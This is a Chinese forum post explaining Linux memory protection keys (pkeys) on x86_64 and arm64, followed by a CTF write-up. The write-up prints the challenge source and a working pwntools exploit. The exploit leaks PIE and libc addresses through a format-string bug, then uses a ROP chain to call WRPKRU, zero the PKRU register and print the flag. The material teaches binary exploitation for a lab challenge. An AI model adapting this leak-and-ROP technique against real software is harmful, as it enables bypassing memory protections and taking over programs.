找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

3254

积分

1

好友

447

主题
发表于 昨天 06:31 | 查看: 1| 回复: 0

简单来说,Memory Protection Keys for Userspace (PKU,或称 PKEYs) 是一种内存保护机制。它能够快速调整特定内存区域的访问权限,而无需像传统的 mprotect 那样修改页表项。传统方法会导致TLB(快速查找缓存)刷新,从而影响性能。

传统 mprotect() 通过修改目标内存区域的页表项权限位来工作,这是一个进程级别的全局操作,会触发TLB刷新,因此切换权限的成本很高。

pkeys 则不同。它在页表中写入一个静态的保护键标识,而真正的权限定义在每个线程独有的寄存器中。当需要修改某个内存区域的权限时,只需修改对应的寄存器即可。这个操作是线程局部的,不涉及页表和TLB的修改,因此权限切换的效率极高。

x86_64 架构下的实现

在 x86_64 架构中,每个页表项会利用 4 个先前保留的位来专门存储一个“保护键”,因此一共提供了 16 个可能的键

0000 → Pkey 0
0001 → Pkey 1
0010 → Pkey 2
…
1111 → Pkey 15

每个键的保护权限由一个 per-CPU 的用户可访问寄存器 (PKRU) 来定义。每个 PKRU 都是一个 32 位寄存器,为上述 16 个键中的每一个存储 两位访问禁止位 AD 和写入禁止位 WD)。也就是说,PKRU 寄存器存储了所有 16 个保护键的权限,每个键占用 2 位,可以组合出 4 种权限状态:

00:读写允许 (R/W)
01:只读 (R)
10:禁止访问
11:禁止访问

举个例子:假设一个线程的内存中有 三个不同的区域,它们被分配了不同的保护键:

区域 A(保护键 Pkey 0):只读(只能读取,不能写入)
区域 B(保护键 Pkey 1):可读可写(可以读取,也可以写入)
区域 C(保护键 Pkey 2):禁止访问(既不能读取,也不能写入)

那么,该线程的 PKRU 寄存器 中存储的内容可能如下:

Pkey 0:01 (只读)
Pkey 1:00 (可读可写)
Pkey 2:10 (禁止访问)
  • 如果线程访问 区域 A,它只能读取数据,无法写入。
  • 如果线程访问 区域 B,它可以同时读取和写入数据。
  • 如果线程访问 区域 C,它根本无法访问这块内存,系统会阻止这次访问。

有两条特殊的汇编指令用于管理保护键的读写:

  • RDPKRU:用于读取当前线程的保护键权限设置。执行该指令后,CPU 会返回一个 32 位值,其中包含了当前线程所有保护键的权限设置。
  • WRPKRU:用于更新当前线程的保护键权限设置。通过这条指令,操作系统或应用程序可以修改特定保护键的访问权限。

PKRU 是与线程绑定的。由于 PKRU 寄存器是 per-CPU 的,每个线程的保护权限可以在不同的 CPU 核心上独立设置。当一个线程在不同 CPU 核心间切换时,操作系统会确保 PKRU 寄存器的状态(即保护键权限)也随之正确切换,以保证内存访问控制的一致性。

需要注意的是,保护键主要用于控制内存页的数据访问权限。在 x86 架构下,Pkeys 只对用户空间内存的读写权限有控制作用,无法对代码段的执行权限进行限制

arm64 架构下的实现

arm64 的实现相对简单介绍一下。在 arm64 下,Pkeys 在每个页表项中使用 3 位来编码一个“保护键索引”,从而提供 8 个可能的键:

000 → Pkey 0
001 → Pkey 1
010 → Pkey 2
011 → Pkey 3
100 → Pkey 4
101 → Pkey 5
110 → Pkey 6
111 → Pkey 7

每个键的保护权限由一个 per-CPU 的用户可写系统寄存器 (POR_EL0) 来定义。这是一个 64 位寄存器,用于编码每个保护键索引的 读、写和执行 覆盖权限。

与 x86_64 类似,arm64 实现的 pkeys 也是线程独立的。但一个关键区别是,arm64_pkeys 的保护键权限 不仅适用于数据访问控制,也适用于程序代码的执行权限

相关的系统调用

Linux 提供了 3 个直接与 pkeys 交互的系统调用:

  • pkey_alloc():分配一个新的保护键。
  • pkey_free():释放之前分配的保护键。
  • pkey_mprotect():修改内存区域的保护权限。

pkey_alloc()

int pkey_alloc(unsigned long flags, unsigned long init_access_rights);

这个系统调用用于分配一个新的保护键(Pkey)。

  • flags:控制标志,目前通常为 0。
  • init_access_rights:设置这个保护键的初始访问权限。通常会传递像 PKEY_DISABLE_WRITE 这样的标志来初始化权限。
  • 返回值:成功时返回分配的保护键 ID,失败时返回负数。

pkey_free()

int pkey_free(int pkey);

这个调用用于释放之前分配的保护键。

  • pkey:要释放的保护键的 ID。
  • 返回值:成功时返回 0,失败时返回负数。

pkey_mprotect()

int pkey_mprotect(unsigned long start, size_t len, unsigned long prot, int pkey);

这个调用用于修改指定内存区域的保护权限,并将其与指定的保护键关联。

  • start:要修改保护权限的内存区域的起始地址。
  • len:要修改的内存区域的长度。
  • prot:新的访问权限,类似于 mprotect() 中使用的 PROT_READPROT_WRITE 等标志。
  • pkey:要关联的保护键。
  • 返回值:成功时返回 0,失败时返回负数。

下面,我们通过一道 CTF PWN 题目来具体看看 pkeys 是如何被使用,以及如何被绕过的。

CTF 实战:QCTF week3 “弥达斯之触”

题目源码如下:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <memory.h>
#include <sys/mman.h>
#include <bpf_insn.h>
#include <linux/filter.h>
#include <sys/prctl.h>
#include <seccomp.h>
#include <stddef.h>

// __attribute__((constructor))
void the_curse_of_midas() {
    struct sock_filter filter[] = {
        BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)),
        // 加载系统调用号到寄存器

        // BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_execve, 6, 0),
        // BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_execveat, 5, 0),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_open, 4, 0),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_openat, 3, 0),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_mmap, 2, 0),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_mprotect, 1, 0),

        // 只允许上述调用
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),

        //其他全kill
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
    };
    struct sock_fprog prog = {
        .len = sizeof(filter)/sizeof(filter[0]),
        .filter = filter,
    };

    if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {
        perror("prctl(NO_NEW_PRIVS)");
    }

    if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) != 0) {
        perror("prctl(SECCOMP)");
    }

    asm(
        "mov rdx, 0xf;"
        "begin:;"
        "dec rdx;"
        "jz end;"
        "mov rax, 0x14a;" //这里是pkey_mprotect()
        "xor edi, edi;"
        "mov rsi, 1;"
        "syscall;"
        "jmp begin;"
        "end:;"
    );
}

//自定义pkey,在这里实现了pkeys
int _mprotect(void *addr, __int64_t len, int prot)
{
    int pkey = (rand()%15)+1;//随机生成pkey 1~15
    asm volatile(
        "mov rax, %4;"// syscall number
        "mov rdi, %0;"// 1st arg: addr
        "mov rsi, %1;"// 2nd arg: len
        "mov rdx, %2;"// 3rd arg: prot
        "mov r10d, %3;"// 4th arg: pkey
        "syscall;"//这里是pkey_alloc()(0x149)
        :
        : "r"(addr), "r"(len), "r"(prot), "r"(pkey), "i"(0x149)
        : "rax", "rdi", "rsi", "rdx", "r10", "rcx", "r11", "memory"
    );
}

void init(void *secret){
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    srand(((long long)rand())>>24);
    int fd = open("/flag", 0, 0);
    read(fd, secret, 0x100);
    close(fd);

    the_curse_of_midas();
    _mprotect(secret, 0x1000, 7);
}

char buf[0x100];
int main(){
    void *secret_of_midas = mmap(0x1000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
    init(secret_of_midas);

    printf("远道而来的年轻人,你也是来寻找弥达斯的秘密吗?\n");
    read(0, buf, 20);
    printf(buf);
    printf("噢不,噢不,你太心急了。\n");
    _mprotect(secret_of_midas, 0x1000, 1);
    sleep(1);

    printf("那些关于黄金的诅咒,正在这片古老土地的血管里涌动。\n");
    sleep(1);

    printf("你应当保持警惕。\n");
    sleep(1);

    printf("那么,告诉我你的名字,我将引领你去往神圣之地:\n");
    read(0, buf, 0x100);
    printf("有趣。去你想去的地方吧。\n");
    asm("mov rbp, %0;"
        :
        : "r"(buf)
    );
}

题目中使用了两个与 pkeys 相关的系统调用:

0x14a    __NR_pkey_mprotect    给某个页设置权限 + 附加 PKey
0x149    __NR_pkey_alloc       分配一个 PKey

代码分析与漏洞点

首先看 the_curse_of_midas() 函数中的这段汇编代码:

asm(
    "mov rdx, 0xf;"
    "begin:;"
    "dec rdx;"
    "jz end;"
    "mov rax, 0x14a;"   // 系统调用号 pkey_mprotect
    "xor edi, edi;"     // addr = NULL
    "mov rsi, 1;"       // len = 1
    "syscall;"
    "jmp begin;"
    "end:;"
);

正常的 pkey_mprotect(addr, len, prot, pkey) 应该应用于有效的内存地址。但这里给出的 addrNULL (无效地址)。关键点在于:addr 无效时,pkey_mprotect 虽然不会设置任何页的权限,但它仍然会更新 PKRU 寄存器中对应 pkey 的权限位。此处的 pkey 来自 RDX 寄存器的递减值(15 到 1)。所以,这段代码的作用是随机修改不同 pkey (1-15) 的读/写权限,使得后续分配的 pkey 权限变得不可预测。

接着看自定义的 _mprotect 函数:

int _mprotect(void *addr, __int64_t len, int prot)
{
    int pkey = (rand()%15)+1;//随机生成pkey 1~15
    asm volatile(
        "mov rax, %4;"// syscall number
        "mov rdi, %0;"// 1st arg: addr
        "mov rsi, %1;"// 2nd arg: len
        "mov rdx, %2;"// 3rd arg: prot
        "mov r10d, %3;"// 4th arg: pkey
        "syscall;"//这里是pkey_alloc()(0x149)
        :
        : "r"(addr), "r"(len), "r"(prot), "r"(pkey), "i"(0x149)
        : "rax", "rdi", "rsi", "rdx", "r10", "rcx", "r11", "memory"
    );
}

它内部会从 1~15 中随机选择一个 pkey,然后调用 pkey_alloc 系统调用(0x149)。当程序为 flag 所在内存调用 _mprotect(secret, 0x1000, 7); 时,就会随机绑定一个 pkey。而这 15 个 pkey 的权限之前已经被 the_curse_of_midas() 随机污染了。

这里的 7 = PROT_READ(1) | PROT_WRITE(2) | PROT_EXEC(4),所以在页表层面,该内存区域的权限是 RWX(可读可写可执行)。但是,访问权限最终是由 PKRU 寄存器中对应 pkey 的设置来覆盖控制的。因此,尽管页表权限是全的,但由于绑定的 pkey 权限被随机设置,我们大概率无法直接读取 flag。

如何绕过 pkeys 保护?

回顾前文,我们提到有两条特殊指令 RDPKRUWRPKRU 可以管理保护键。其中 WRPKRU 可以直接修改 PKRU 寄存器的值,从而更改所有保护键的权限。这正是我们的突破口。

首先,我们需要在题目提供的 libc 库中找到 WRPKRU 指令的地址。可以通过 objdump 工具搜索:

在libc中搜索wrpkru指令

如图,找到了 wrpkru 指令,其在 libc 中的偏移是 0x126256

WRPKRU 指令的使用有一个约束:ECX 和 EDX 寄存器的值必须为 0。如果不满足这个条件,可能会导致未定义行为或引发 #UD(无效操作码)异常。

PKRU 权限位含义如下表:

AD WD 含义
0 0 读写允许(R/W)
0 1 只读(R)
1 0 禁止访问
1 1 禁止访问

我们的目标是将 flag 内存区域对应的 pkey 权限改为 00(可读可写)。最简单粗暴的方法是将整个 PKRU 寄存器置零。因为 PKRU 的 32 位中,每 2 位对应一个 pkey:

pkey 对应 PKRU bit
0 bit 1..0
1 bit 3..2
2 bit 5..4
15 bit 31..30

如果我们将 EAX 设置为 0x00000000 并通过 WRPKRU 写入,那么所有 pkey (0-15) 的权限都将变为 00(可读写),自然也包括了 flag 区域绑定的那个随机 pkey。

所有 pkey AD = 0 WD = 0 权限
PKEY 0 0 0 可读写
PKEY 1 0 0 可读写
PKEY 2 0 0 可读写
PKEY 15 0 0 可读写

编写利用脚本 (Exploit)

思路清晰后,就可以编写利用脚本了。我们需要先通过格式化字符串漏洞泄露程序基址和 libc 基址。

首先确定格式化字符串的偏移。通过调试可以确定,第一个可控参数的偏移是 8。

通过格式化字符串泄露栈数据

程序基址(PIE)可以通过栈上返回地址计算,其偏移是 0x153b

泄露程序基址

查看内存映射

libc 基址也可以通过栈上的 libc 地址计算,其偏移是 0x29e40

利用脚本如下:

from pwn import *
context.arch='amd64'
context.log_level='debug'

#p=remote('challenge.ilovectf.cn',30377)
p=process('./midas')
elf=ELF('./midas')
libc=ELF('./libc.so.6')

fmt=b'%11$p%29$p'
p.recvuntil('\n')
p.send(fmt)

p.recvuntil(b'0x')
base=int(p.recv(12),16)-0x153b
success(f"pie:{hex(base)}")

p.recvuntil(b'0x')
libcbase=int(p.recv(12),16)-0x29e40
success(f"libc:{hex(libcbase)}")

wrpkru=libcbase+0x126256

rdi = libcbase + libc.search(asm("pop rdi; ret"), executable=True).__next__()
rsi = libcbase + libc.search(asm("pop rsi; ret"), executable=True).__next__()
dx_cx_bx = libcbase + libc.search(asm("pop rdx; pop rcx; pop rbx; ret;"), executable=True).__next__()
rax = libcbase + libc.search(asm("pop rax; ret"), executable=True).__next__()

pl=b'a'*8+p64(rdi+1)+p64(dx_cx_bx)+p64(0)*3+p64(rax)+p64(0)+p64(wrpkru)+p64(rdi)+p64(0x10000)+p64(libcbase+libc.sym['puts'])
sleep(3)

#gdb.attach(p)
p.send(pl)

p.interactive()

脚本小贴士:注意到 payload 中在覆盖掉 RBP 后,又加了一个 p64(rdi+1),这实际上是一个 ret 指令的地址。这是为了保证栈对齐。在调用 libc 函数时,调用点的 RSP 必须是 16 字节对齐(即进入 call 指令时 RSP % 16 == 8),这是 System V ABI 的规定。这个额外的 ret 起到了栈对齐的作用。

利用效果验证

在触发漏洞前,我们可以查看 PKRU 寄存器的值,它通常是一个非零值,表示某些 pkey 受到了限制。

利用前PKRU寄存器的值

执行我们的 ROP 链后,WRPKRU 指令成功将 PKRU 寄存器置零。

利用后PKRU寄存器被置零

至此,所有内存区域的 pkey 权限都被解锁,我们可以顺利读取并输出 flag。

成功读取flag

总结

本次实战演示了 Linux pkeys 机制的基本原理及其在 CTF 赛题中的应用。绕过 pkeys 保护的关键在于,如果攻击者能够控制程序执行流,就可以通过 WRPKRU 指令直接修改 PKRU 寄存器,从而覆盖所有内存保护键的权限设置。这提醒我们,任何依赖于进程内权限控制(in-process protection)的机制,在面临代码执行漏洞时都可能被绕过。对于PWN和二进制安全研究来说,理解这些底层机制是构建有效攻击和防御的前提。如果你对系统底层安全和漏洞利用感兴趣,欢迎在云栈社区与更多技术爱好者交流探讨。




上一篇:Spark on K8s 实践踩坑记:从镜像构建到权限配置的完整指南
下一篇:面向对象编程的本质分歧:从乔布斯的洗衣店到Alan Kay的Smalltalk
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-2-7 06:34 , Processed in 0.295756 second(s), 39 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表